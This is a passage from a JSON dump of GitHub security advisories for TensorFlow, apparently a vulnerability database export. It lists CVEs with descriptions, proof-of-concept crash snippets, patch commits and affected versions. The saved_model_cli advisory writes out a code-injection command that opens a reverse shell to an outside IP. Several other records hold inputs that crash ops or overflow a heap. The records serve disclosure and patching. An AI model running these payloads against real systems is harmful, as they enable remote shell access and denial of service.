pattarakritr@smu.edu.sg\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-11-21T22:17:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-rjx6-v474-2ch9","https://nvd.nist.gov/vuln/detail/CVE-2022-41909","https://github.com/tensorflow/tensorflow/commit/660ce5a89eb6766834bdc303d2ab3902aef99d3d","https://github.com/tensorflow/tensorflow/commit/bf594d08d377dc6a3354d9fdb494b32d45f91971","https://github.com/tensorflow/tensorflow/blob/master/tensorflow/python/lib/core/py_func.cc","https://github.com/advisories/GHSA-rjx6-v474-2ch9"],"source_kind":"github","identifiers":["GHSA-rjx6-v474-2ch9","CVE-2022-41909"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.10.1","vulnerable_version_range":"\u003e= 2.10.0, \u003c 2.10.1"},{"first_patched_version":"2.9.3","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.3"},{"first_patched_version":"2.8.4","vulnerable_version_range":"\u003c 2.8.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.10.1","vulnerable_version_range":"\u003e= 2.10.0, \u003c 2.10.1"},{"first_patched_version":"2.9.3","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.3"},{"first_patched_version":"2.8.4","vulnerable_version_range":"\u003c 2.8.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.10.1","vulnerable_version_range":"\u003e= 2.10.0, \u003c 2.10.1"},{"first_patched_version":"2.9.3","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.3"},{"first_patched_version":"2.8.4","vulnerable_version_range":"\u003c 2.8.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:49.920Z","updated_at":"2023-07-10T19:04:22.000Z","epss_percentage":0.0035,"epss_percentile":0.56733},{"uuid":"GSA_kwCzR0hTQS03NWM5LWpyaDQtNzltY84AArBa","url":"https://github.com/advisories/GHSA-75c9-jrh4-79mc","title":"Code injection in `saved_model_cli` in TensorFlow","description":"### Impact\nTensorFlow's `saved_model_cli` tool is vulnerable to a code injection:\n\n```\nsaved_model_cli run --input_exprs 'x=print(\"malicious code to run\")' --dir ./\n--tag_set serve --signature_def serving_default\n```\n\nThis can be used to open a reverse shell                                      \n\n```\nsaved_model_cli run --input_exprs 'hello=exec(\"\"\"\\nimport socket\\nimport\nsubprocess\\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\\ns.connect((\"10.0.2.143\",33419))\\nsubprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\"\"\")'\n--dir ./ --tag_set serve --signature_def serving_default\n```\n\nThis is because [the fix](https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7) for [CVE-2021-41228](https://nvd.nist.gov/vuln/detail/CVE-2021-41228) was incomplete. Under [certain code paths](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py#L566-L574) it still allows unsafe execution:\n\n```python\ndef preprocess_input_exprs_arg_string(input_exprs_str, safe=True):\n  # ...\n\n  for input_raw in filter(bool, input_exprs_str.split(';')):\n    # ...\n    if safe:\n      # ...\n    else:\n      # ast.literal_eval does not work with numpy expressions\n      input_dict[input_key] = eval(expr)  # pylint: disable=eval-used\n  return input_dict\n```\n\nThis code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.\n\nHowever, given that the tool is always run manually, the impact of this is still not severe. We have now removed the `safe=False` argument, so all parsing is done withough calling `eval`.\n\n### Patches\nWe have patched the issue in GitHub commit [c5da7af048611aa29e9382371f0aed5018516cac](https://github.com/tensorflow/tensorflow/commit/c5da7af048611aa29e9382371f0aed5018516cac).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-24T22:16:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-75c9-jrh4-79mc","https://nvd.nist.gov/vuln/detail/CVE-2022-29216","https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7","https://github.com/tensorflow/tensorflow/commit/c5da7af048611aa29e9382371f0aed5018516cac","https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py#L566-L574","https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4","https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2","https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1","https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0","https://github.com/advisories/GHSA-75c9-jrh4-79mc"],"source_kind":"github","identifiers":["GHSA-75c9-jrh4-79mc","CVE-2022-29216"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:23.506Z","updated_at":"2023-01-30T05:06:16.000Z","epss_percentage":0.00147,"epss_percentile":0.36172},{"uuid":"GSA_kwCzR0hTQS1oNDhmLXE3cnctaHZyN84AArBH","url":"https://github.com/advisories/GHSA-h48f-q7rw-hvr7","title":"Missing validation causes denial of service via `StagePeek`","description":"### Impact\nThe implementation of [`tf.raw_ops.StagePeek`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/stage_op.cc#L261) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack:\n\n```python\nimport tensorflow as tf\n\nindex = tf.constant([], shape=[0], dtype=tf.int32)\ntf.raw_ops.StagePeek(index=index, dtypes=[tf.int32])\n```\n  \nThe code assumes `index` is a scalar but there is no validation for this before accessing its value:\n  \n```cc\nstd::size_t index = ctx-\u003einput(0).scalar\u003cint\u003e()();\n``` \n\n### Patches\nWe have patched the issue in GitHub commit [cebe3c45d76357d201c65bdbbf0dbe6e8a63bbdb](https://github.com/tensorflow/tensorflow/commit/cebe3c45d76357d201c65bdbbf0dbe6e8a63bbdb).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-05-24T22:07:24.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-h48f-q7rw-hvr7","https://nvd.nist.gov/vuln/detail/CVE-2022-29195","https://github.com/tensorflow/tensorflow/commit/cebe3c45d76357d201c65bdbbf0dbe6e8a63bbdb","https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/stage_op.cc#L26","https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4","https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2","https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1","https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0","https://github.com/advisories/GHSA-h48f-q7rw-hvr7"],"source_kind":"github","identifiers":["GHSA-h48f-q7rw-hvr7","CVE-2022-29195"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:23.796Z","updated_at":"2023-01-27T05:01:56.000Z","epss_percentage":0.00044,"epss_percentile":0.12494},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW14amotOTUzdy0yYzJ2","url":"https://github.com/advisories/GHSA-mxjj-953w-2c2v","title":"Data corruption in tensorflow-lite","description":"### Impact\nWhen determining the common dimension size of two tensors, TFLite uses a `DCHECK` which is no-op outside of debug compilation modes:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/kernels/internal/types.h#L437-L442\n\nSince the function always returns the dimension of the first tensor, malicious attackers can craft cases where this is larger than that of the second tensor. In turn, this would result in reads/writes outside of bounds since the interpreter will wrongly assume that there is enough data in both tensors.\n\n### Patches\nWe have patched the issue in 8ee24e7949a20 and will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2020-09-25T18:28:44.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-mxjj-953w-2c2v","https://github.com/tensorflow/tensorflow/commit/8ee24e7949a203d234489f9da2c5bf45a7d5157d","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15208","http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00065.html","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-288.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-323.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-131.yaml","https://github.com/advisories/GHSA-mxjj-953w-2c2v"],"source_kind":"github","identifiers":["GHSA-mxjj-953w-2c2v","CVE-2020-15208"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":41.86300661917424,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.696Z","updated_at":"2024-10-30T21:17:25.000Z","epss_percentage":0.0033,"epss_percentile":0.55401},{"uuid":"GSA_kwCzR0hTQS1qNXc5LWhtZmgtNGNyNs4AAyT5","url":"https://github.com/advisories/GHSA-j5w9-hmfh-4cr6","title":"TensorFlow has segmentation fault in tfg-translate ","description":"### Impact\nOut-of-bounds access due to mismatched integer type sizes in ValueMap::Manager::GetValueOrCreatePlaceholder. Bug with tfg-translate call to InitMlir. The problem happens with generic functions, as it is already handled for non-generic functions. This is because they, unlike non-generic functions, are using the \"old importer\". A better long-term solution may be to have the \"new importer\" handle generic functions.\n\n### Patches\nWe have patched the issue in GitHub\n- commit [760322a71ac9033e122ef1f4b1c62813021e5938](https://github.com/tensorflow/tensorflow/commit/760322a71ac9033e122ef1f4b1c62813021e5938).\n- commit [2eedc8f676d2c3b8be9492e547b2bc814c10b367](https://github.com/tensorflow/tensorflow/commit/2eedc8f676d2c3b8be9492e547b2bc814c10b367)\n\nThe fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by r3pwnx\n\n### Affiliation\n360 AIVul\n\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-03-24T21:55:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-j5w9-hmfh-4cr6","https://github.com/tensorflow/tensorflow/commit/2eedc8f676d2c3b8be9492e547b2bc814c10b367","https://github.com/tensorflow/tensorflow/commit/760322a71ac9033e122ef1f4b1c62813021e5938","https://nvd.nist.gov/vuln/detail/CVE-2023-25671","https://github.com/advisories/GHSA-j5w9-hmfh-4cr6"],"source_kind":"github","identifiers":["GHSA-j5w9-hmfh-4cr6","CVE-2023-25671"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2023-03-24T22:03:48.262Z","updated_at":"2023-03-31T16:06:04.000Z","epss_percentage":0.00207,"epss_percentile":0.43402},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWpmcDctNGo2Ny04cjNx","url":"https://github.com/advisories/GHSA-jfp7-4j67-8r3q","title":"Heap buffer overflow caused by rounding","description":"### Impact\nAn attacker can trigger a heap buffer overflow in `tf.raw_ops.QuantizedResizeBilinear` by manipulating input values so that float rounding results in off-by-one error in accessing image elements:\n\n```python\nimport tensorflow as tf\n\nl = [256, 328, 361, 17, 361, 361, 361, 361, 361, 361, 361, 361, 361, 361, 384]\nimages = tf.constant(l, shape=[1, 1, 15, 1], dtype=tf.qint32)\nsize = tf.constant([12, 6], shape=[2], dtype=tf.int32)\nmin = tf.constant(80.22522735595703)\nmax = tf.constant(80.39215850830078)\n\ntf.raw_ops.QuantizedResizeBilinear(images=images, size=size, min=min, max=max,\n                                   align_corners=True, half_pixel_centers=True)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/44b7f486c0143f68b56c34e2d01e146ee445134a/tensorflow/core/kernels/quantized_resize_bilinear_op.cc#L62-L66) computes two integers (representing the upper and lower bounds for interpolation) by ceiling and flooring a floating point value:\n\n```cc\nconst float in_f = std::floor(in);\ninterpolation-\u003elower[i] = std::max(static_cast\u003cint64\u003e(in_f), static_cast\u003cint64\u003e(0));\ninterpolation-\u003eupper[i] = std::min(static_cast\u003cint64\u003e(std::ceil(in)), in_size - 1);\n```\n  \nFor some values of `in`, `interpolation-\u003eupper[i]` might be smaller than `interpolation-\u003elower[i]`. This is an issue if `interpolation-\u003eupper[i]` is capped at `in_size-1` as it means that `interpolation-\u003elower[i]` points outside of the image. Then, [in the interpolation code](https://github.com/tensorflow/tensorflow/blob/44b7f486c0143f68b56c34e2d01e146ee445134a/tensorflow/core/kernels/quantized_resize_bilinear_op.cc#L245-L264), this would result in heap buffer overflow:\n\n```cc\ntemplate \u003cint RESOLUTION, typename T, typename T_SCALE, typename T_CALC\u003e\ninline void OutputLerpForChannels(const InterpolationCache\u003cT_SCALE\u003e\u0026 xs,\n                                  const int64 x, const T_SCALE ys_ilerp,\n                                  const int channels, const float min,\n                                  const float max, const T* ys_input_lower_ptr,\n                                  const T* ys_input_upper_ptr,\n                                  T* output_y_ptr) {\n  const int64 xs_lower = xs.lower[x];\n  ...\n  for (int c = 0; c \u003c channels; ++c) {\n    const T top_left = ys_input_lower_ptr[xs_lower + c];\n    ...\n  }\n}\n```\n\nFor the other cases where `interpolation-\u003eupper[i]` is smaller than `interpolation-\u003elower[i]`, we can set them to be equal without affecting the output.\n\n### Patches\nWe have patched the issue in GitHub commit [f851613f8f0fb0c838d160ced13c134f778e3ce7](https://github.com/tensorflow/tensorflow/commit/f851613f8f0fb0c838d160ced13c134f778e3ce7).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:22:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-jfp7-4j67-8r3q","https://nvd.nist.gov/vuln/detail/CVE-2021-29529","https://github.com/tensorflow/tensorflow/commit/f851613f8f0fb0c838d160ced13c134f778e3ce7","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-457.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-655.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-166.yaml","https://github.com/advisories/GHSA-jfp7-4j67-8r3q"],"source_kind":"github","identifiers":["GHSA-jfp7-4j67-8r3q","CVE-2021-29529"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.424Z","updated_at":"2024-10-30T23:19:15.000Z","epss_percentage":0.00047,"epss_percentile":0.14083},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTl2cG0tcmNmNC05d3F3","url":"https://github.com/advisories/GHSA-9vpm-rcf4-9wqw","title":"Division by 0 in `MaxPoolGradWithArgmax`","description":"### Impact\nThe implementation of `tf.raw_ops.MaxPoolGradWithArgmax` is vulnerable to a division by 0:\n\n```python\nimport tensorflow as tf\n\ninput = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)\ngrad = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)\nargmax = tf.constant([], shape=[0], dtype=tf.int64)\nksize = [1, 1, 1, 1]\nstrides = [1, 1, 1, 1]\n\ntf.raw_ops.MaxPoolGradWithArgmax(\n  input=input, grad=grad, argmax=argmax, ksize=ksize, strides=strides,\n  padding='SAME', include_batch_in_index=False)\n```\n  \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/279bab6efa22752a2827621b7edb56a730233bd8/tensorflow/core/kernels/maxpooling_op.cc#L1033-L1034) fails to validate that the batch dimension of the tensor is non-zero, before dividing by this quantity.\n\n### Patches\nWe have patched the issue in GitHub commit [376c352a37ce5a68b721406dc7e77ac4b6cf483d](https://github.com/tensorflow/tensorflow/commit/376c352a37ce5a68b721406dc7e77ac4b6cf483d).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:26:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-9vpm-rcf4-9wqw","https://nvd.nist.gov/vuln/detail/CVE-2021-29573","https://github.com/tensorflow/tensorflow/commit/376c352a37ce5a68b721406dc7e77ac4b6cf483d","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-501.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-699.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-210.yaml","https://github.com/advisories/GHSA-9vpm-rcf4-9wqw"],"source_kind":"github","identifiers":["GHSA-9vpm-rcf4-9wqw","CVE-2021-29573"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.963Z","updated_at":"2024-11-01T17:09:56.000Z","epss_percentage":0.00015,"epss_percentile":0.018},{"uuid":"GSA_kwCzR0hTQS1xNWp2LW02cXctNWczN84AAu2e","url":"https://github.com/advisories/GHSA-q5jv-m6qw-5g37","title":"TensorFlow vulnerable to floating point exception in `Conv2D`","description":"### Impact\nIf `Conv2D` is given empty `input` and the `filter` and `padding` sizes are valid, the output is all-zeros. This causes division-by-zero floating point exceptions that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\nimport numpy as np\nwith tf.device(\"CPU\"): # also can be triggerred on GPU\n   input = np.ones([1, 0, 2, 1])\n   filter = np.ones([1, 1, 1, 1])\n   strides = ([1, 1, 1, 1])\n   padding = \"EXPLICIT\"\n   explicit_paddings = [0 , 0, 1, 1, 1, 1, 0, 0]\n   data_format = \"NHWC\"\n   res = tf.raw_ops.Conv2D(\n       input=input,\n       filter=filter,\n       strides=strides,\n       padding=padding,\n        explicit_paddings=explicit_paddings,\n       data_format=data_format,\n  )\n```\n\n### Patches\nWe have patched the issue in GitHub commit [611d80db29dd7b0cfb755772c69d60ae5bca05f9](https://github.com/tensorflow/tensorflow/commit/611d80db29dd7b0cfb755772c69d60ae5bca05f9).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Jingyi Shi.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:11:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-q5jv-m6qw-5g37","https://github.com/tensorflow/tensorflow/commit/611d80db29dd7b0cfb755772c69d60ae5bca05f9","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35996","https://github.com/advisories/GHSA-q5jv-m6qw-5g37"],"source_kind":"github","identifiers":["GHSA-q5jv-m6qw-5g37","CVE-2022-35996"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 